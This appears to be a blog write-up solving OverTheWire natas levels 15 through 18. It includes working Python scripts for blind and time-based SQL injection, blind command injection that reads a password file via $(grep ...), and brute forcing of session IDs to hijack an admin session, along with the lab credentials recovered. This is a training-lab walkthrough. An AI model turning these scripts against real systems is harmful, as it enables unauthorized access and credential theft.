Continuing to work through the OverTheWire natas challenges, this post covers solutions for levels 15 through 18. These have all been grouped together as they all build off of the same basic python solution.
- Part 1 can be found here
- Part 2 can be found here
- Part 4 can be found here
natas15
Starting this off by going to: http://natas15.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas15
Pass: AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
|
Another login challenge, looking at the source again to get an idea of what needs to be done:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
<html>
<head>
<body>
<h1>natas15</h1>
<div id="content">
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas15', '<censored>');
mysql_select_db('natas15', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>
|
More SQL queries need to be exploited in some fashion to move onto the next level. As the query stands, it just checks for the existence of the provided “username” in the users table, if it finds a match a result is returned and a message is printed stating that the user exists. The query for this looks like:
1
|
SELECT * from users WHERE username="<value>"
|
The important thing to note here is that the input <value>
is not sanitize for any sort of illegal characters, allowing for SQL injection. Another thing to note since we don’t explicitly log in here, and only know if the user exists or not, this has to be solved via a Blind SQL Injection. The general concept is that indirect information is leaked that can used to determine what an actual answer is, without the page ever fully disclosing the answer we are looking for. For this attack we can brute force the password by using truthy values to slowly iterate over every character of what the users password would be. For this particular case, username="natas16"
and substring(password,1,1) == "<character>"
, where the second argument of substring increases as we find matches. The query for this looks like:
1
|
SELECT * from users WHERE username="natas16" AND substring(password, 1,1) = "<character>"
|
The input string to generate an SQL statement that checks for the letter a
in the password looks like:
1
|
natas16" and substring(password,1,1) = "a
|
Combining that with the url from natas15
:
1
|
http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20substring(password,1,1)%20=%20"w&debug
|
Which returns the result of This user exists
. Since we don’t know how the database is configured, this approach may not factor in case sensitivity. This can be demonstrated with checking for W
:
1
|
http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20substring(password,1,1)%20=%20"W&debug
|
The above also returns a This user exists
, but it’s unclear as to if the password contains both W
and w
or it’s just acting in a case insensitive mode. There are two possible ways to overcome this. First, there’s a SQL built-in to get the ASCII value, which can then be used instead of checking against a character:
1
|
http://natas15.natas.labs.overthewire.org/index.php?username=natas16%22%20AND%20ascii(substring(password,1,1))%20=%20"64&debug
|
It’s then possible to write a python script to iterate through all possible combinations and build up a final result while slowly iterating through all of possible characters - this could be a lot of attempts at guessing, so it’s a bit slow when brute forcing.
The second method provides a fairly significant speed up this guesswork by using the LIKE operator in SQL, since it allows for wildcards:
LIKE Operator |
|
Description |
WHERE tablename LIKE ‘a%’ |
|
Finds any values that start with “a” |
WHERE tablename LIKE ‘%a’ |
|
Finds any values that end with “a” |
WHERE tablename LIKE ‘%or%’ |
|
Finds any values that have “or” in any position |
WHERE tablename LIKE ‘_r%’ |
|
Finds any values that have “r” in the second position |
WHERE tablename LIKE ‘a__%’ |
|
Finds any values that start with “a” and are at least 3 characters in length |
WHERE tablename LIKE ‘a%o’ |
|
Finds any values that start with “a” and ends with “o” |
It’s important to note that the LIKE
operator honors the table’s settings for case sensitivity unless it’s combined with BINARY
.
Using the LIKE
operator with %<character>%
allows us to figure out if a given character exists anywhere in the password. We can also leverage the <character>%
to determine the order of the character by slowly building up the password as we go along and trying out a new character on the end.
Query for finding characters with wildcards:
1
|
SELECT * from users WHERE username="natas16" AND password LIKE BINARY "%<character>%"
|
Query for finding positions:
1
|
SELECT * from users WHERE username="natas16" AND password LIKE BINARY "<knowncharacters> + <character>%"
|
With the theory out of the way, it’s time for some python to beat this level:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
|
import urllib2
# This few lines are used to be able to login and start sending the queries
# with the natas15 username and password
SITE = "http://natas15.natas.labs.overthewire.org/index.php?debug&"
USER = "natas15"
PASSW = "AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
PASS_MGR = urllib2.HTTPPasswordMgrWithDefaultRealm()
PASS_MGR.add_password(None, SITE, USER, PASSW)
AUTH_HANDLER = urllib2.HTTPBasicAuthHandler(PASS_MGR)
OPENER = urllib2.build_opener(AUTH_HANDLER)
urllib2.install_opener(OPENER)
CHARSET = 'wWabcdefghijklmnopqrstuvxyz1234567890QERTYUIOPASDFGHJKLZXCVBNM'
def get_filtered_chars():
filtered_chars = ""
for char in CHARSET:
print("Trying %s" % (char))
# SELECT * from users WHERE username="natas16" AND password LIKE BINARY "%<character>%"
payload = 'username=natas16"%20AND%20password%20LIKE%20BINARY%20"%' + char + '%'
target = SITE + payload
print(target)
html_result = urllib2.urlopen(target).read()
if html_result.find("This user exists") > 1:
filtered_chars = filtered_chars + char
print("Current chars: %s" % filtered_chars)
return filtered_chars
def brute_force_password(filtered_chars):
bruteforced = ""
index = 1
still_forcing = True
while still_forcing:
for char in filtered_chars:
print("Trying %s at index: %d\r" % (char, index))
# SELECT * from users WHERE username="natas16" AND password LIKE BINARY "<knowncharacters> + <character>%"
payload = 'username=natas16"%20AND%20password%20LIKE%20BINARY%20"'
payload = payload + bruteforced + char + '%'
target = SITE + payload
html_result = urllib2.urlopen(target).read()
if html_result.find("This user exists") > 1:
bruteforced = bruteforced + char
print("Current password: %s" % bruteforced)
index = index + 1
still_forcing = True
break
else:
still_forcing = False
return bruteforced
def main():
# First use the LIKE + binary to determine what characters are actually used
filtered_chars = get_filtered_chars()
# Used the filtered list to "quickly" get the password
password = brute_force_password(filtered_chars)
print("**** PASSWORD DISCOVERED ***")
print(password)
if __name__ == "__main__":
main()
|
And after running that for a bit:
1
2
|
**** PASSWORD DISCOVERED ***
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
|
natas16
Starting this off by going to: http://natas16.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas16
Pass: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
|
Another search similar to natas9 and natas10. Looking over the source of the page it seems there’s now a better filter in place:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
|
After quite a bit of reading, seems there no explicit way around preq_match or any way to skip that check. Therefore a deeper look into what it’s trying to filter out is needed:
1
|
if(preg_match('/[;|&`\'"]/',$key)) {
|
The regex filter is removing the obvious ways to execute any arbitrary command - no more using ;
, |
, &
, "
, '
, or "
. What is important to note is that (
, )
and $
are not filtered. Most of the time command substitution is done with backticks (i.e.: `…
`), however those are filtered. However an alternative using $(…)
is still entirely possible.
A quick explanation of command substitution: $(…)
returns the output from the command and print it to stdout
. This will be useful to leak information by having the command substitution grep
on a different file, return it’s output to stdout
and use that as input to the original command that was going to be run by the server.
In other words, if we have a file on the server a.txt
, which contains: 54234asdfe
:
1
2
|
$(grep a makebelieve.txt) will return "54234asdfe"
$(grep z makebelieve.txt) will return ""
|
If we combine that with what the server wants to run:
1
|
grep -i $(grep a makebelieve.txt) dictonary.txt
|
This becomes:
1
|
grep -i 54234asdfe dictonary.txt
|
Which will not match anything in the dictionary, in turn that confirms the existence of the letter a
in the makebelieve.txt
. If we apply the same thing with the z
, it will return the contents of the entire dictionary, meaning there is no match in makebelieve.txt
Another thing worth nothing is that grep
is friendly to regular expressions:
1
|
$(grep ^5 a.txt) matches when it starts with the string
|
Conceptually this is very similar to what was just done with natas15, but instead of Blind SQL, it’s more of a blind Blind Command Injection.
The python script from natas15
should be usable with some tweaks to the parameters.
Once again with the theory out of the way, time for some code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
|
import urllib2
SITE = "http://natas16.natas.labs.overthewire.org/index.php?needle="
USER = "natas16"
PASSW = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
PASS_MGR = urllib2.HTTPPasswordMgrWithDefaultRealm()
PASS_MGR.add_password(None, SITE, USER, PASSW)
AUTH_HANDLER = urllib2.HTTPBasicAuthHandler(PASS_MGR)
OPENER = urllib2.build_opener(AUTH_HANDLER)
urllib2.install_opener(OPENER)
CHARSET = 'wWabcdefghijklmnopqrstuvxyz1234567890QERTYUIOPASDFGHJKLZXCVBNM'
def get_filtered_chars():
filtered_chars = ""
for char in CHARSET:
print("Trying %s" % (char))
# Filter out the characters by trying to match with the command sub version of grep
payload = urllib2.quote('$(grep ' + char + ' /etc/natas_webpass/natas17)')
target = SITE + payload
html_result = urllib2.urlopen(target).read()
if html_result.find("apple") < 1:
filtered_chars = filtered_chars + char
print("Current chars: %s" % filtered_chars)
return filtered_chars
def brute_force_password(filtered_chars):
bruteforced = ""
index = 1
still_forcing = True
while still_forcing:
for char in filtered_chars:
print("Trying %s at index: %d\r" % (char, index))
# Get the order of the characters based on the filtered list and some regex
payload = urllib2.quote('$(grep ^' + bruteforced + char + ' /etc/natas_webpass/natas17)')
target = SITE + payload
html_result = urllib2.urlopen(target).read()
if html_result.find("apple") < 1:
bruteforced = bruteforced + char
print("Current password: %s" % bruteforced)
index = index + 1
still_forcing = True
break
else:
still_forcing = False
return bruteforced
def main():
filtered_chars = get_filtered_chars()
password = brute_force_password(filtered_chars)
print("**** PASSWORD DISCOVERED ***")
print(password)
if __name__ == "__main__":
main()
|
And now for the password:
1
2
|
**** PASSWORD DISCOVERED ***
8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
|
natas17
Starting this off by going to: http://natas17.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas17
Pass: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
|
This one is just like natas15, except for one challenging change:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
|
Since it no longer leaks information we need to use a slightly different approach. This time we need to introduce a means of getting some sort of hint as to what is happening. Lots of databases make this very easy with the inclusion of a “SLEEP”, it forces the database to sleep before returning a query. These are considered time-based Blind SQL Injection attacks
Using the queries from natas15
, we just need to wrap them in a way that adds a sleep if we match one of the characters we are brute forcing:
Query for finding characters with wildcards with a sleep:
1
|
SELECT * from users WHERE username="natas16" AND if(password LIKE BINARY "%<character>%, SLEEP(5), 0)"
|
Query for finding positions with a sleep:
1
|
SELECT * from users WHERE username="natas16" AND if(password LIKE BINARY "<knowncharacters> + <character>%, SLEEP(5), 0)"
|
Since there is now a sleeping instead of expecting some output from the server, the python script will need to change to time the request to the server and if is greater or equal to the sleep value consider that to be a match.
Putting that together in a python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
|
import urllib2
from timeit import default_timer as timer
SITE = "http://natas17.natas.labs.overthewire.org/index.php?debug&"
USER = "natas17"
PASSW = "8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"
PASS_MGR = urllib2.HTTPPasswordMgrWithDefaultRealm()
PASS_MGR.add_password(None, SITE, USER, PASSW)
h=urllib2.HTTPHandler(debuglevel=1)
opener = urllib2.build_opener(h)
urllib2.install_opener(opener)
AUTH_HANDLER = urllib2.HTTPBasicAuthHandler(PASS_MGR)
OPENER = urllib2.build_opener(AUTH_HANDLER)
urllib2.install_opener(OPENER)
CHARSET = 'wWabcdefghijklmnopqrstuvxyz1234567890QERTYUIOPASDFGHJKLZXCVBNM'
def get_filtered_chars():
filtered_chars = ""
for char in CHARSET:
print("Trying %s" % (char))
payload = 'username=natas18"%20AND%20if(password%20LIKE%20BINARY%20"%' + char + '%",SLEEP(5),0)%20AND%20"1=1'
target = SITE + payload
start = timer()
urllib2.urlopen(target).read()
end = timer()
print(target)
print(end-start)
if end-start > 5:
filtered_chars = filtered_chars + char
print("Current chars: %s" % filtered_chars)
return filtered_chars
def brute_force_password(filtered_chars):
bruteforced = ""
index = 1
still_forcing = True
while still_forcing:
for char in filtered_chars:
print("Trying %s at index: %d\r" % (char, index))
payload = 'username=natas18"%20AND%20if(password%20LIKE%20BINARY%20"'
payload = payload + bruteforced + char + '%",SLEEP(5),0)%20AND%20"1=1'
target = SITE + payload
print(target)
start = timer()
urllib2.urlopen(target).read()
end = timer()
print(end-start)
if end-start > 5:
bruteforced = bruteforced + char
print("Current password: %s" % bruteforced)
index = index + 1
still_forcing = True
break
else:
still_forcing = False
return bruteforced
def main():
filtered_chars = get_filtered_chars()
password = brute_force_password(filtered_chars)
print("**** PASSWORD DISCOVERED ***")
print(password)
if __name__ == "__main__":
main()
|
And finally the password:
1
2
|
**** PASSWORD DISCOVERED ***
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
|
natas18
Starting this off by going to: http://natas18.natas.labs.overthewire.org/
Login info is:
1
2
|
User: natas18
Pass: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
|
Yet another login challenge, except this time logging in as the Admin
is required to get the password for natas19
.
Since the source is available, it’s worth looking over to see what’s going on:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
<?
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
|
This time around things are quite a bit simpler. It looks like there’s a possibility of 640 ids:
1
|
$maxid = 640; // 640 should be enough for everyone
|
This challenge seems to focus on the idea of session hijacking. These IDs are used to determine what session ID is currently active and then either use the active session or create a new one. In this particular case, the goal is to find the active Admin
session since it’ll be the only way to get the password for this challenge.
Python to the rescue here, this time using python3, requests, and some concurrency (since iterating through 640 session ID can take a bit of time):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
import requests
from concurrent.futures import ThreadPoolExecutor
URL = "http://natas18.natas.labs.overthewire.org/index.php?debug"
USER = "natas18"
PASSW = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"
POOL = ThreadPoolExecutor(max_workers=4)
def build_requests():
req = []
for i in range(1,640):
params = {"username": "admin", "password": "a"}
cookies = {"PHPSESSID": str(i)}
auth = (USER, PASSW)
req.append({"auth": auth, "cookies": cookies, "params": params})
return req
def request_sessions(req):
res = requests.get(url=URL, auth=req["auth"],
cookies=req["cookies"], params=req["params"])
return res
def main():
urls = build_requests()
res = POOL.map(request_sessions, urls)
for r in res:
if "You are an admin." in r.text:
print(r.text)
if __name__ == "__main__":
main()
|
After letting that run for a bit and printing out the contents of the page on matching the “You are an admin.” string:
1
2
3
|
<div id="content">
DEBUG: Session start ok<br>You are an admin. The credentials for the next level are:<br><pre>Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs</pre><div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
|
The password:
1
|
4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs
|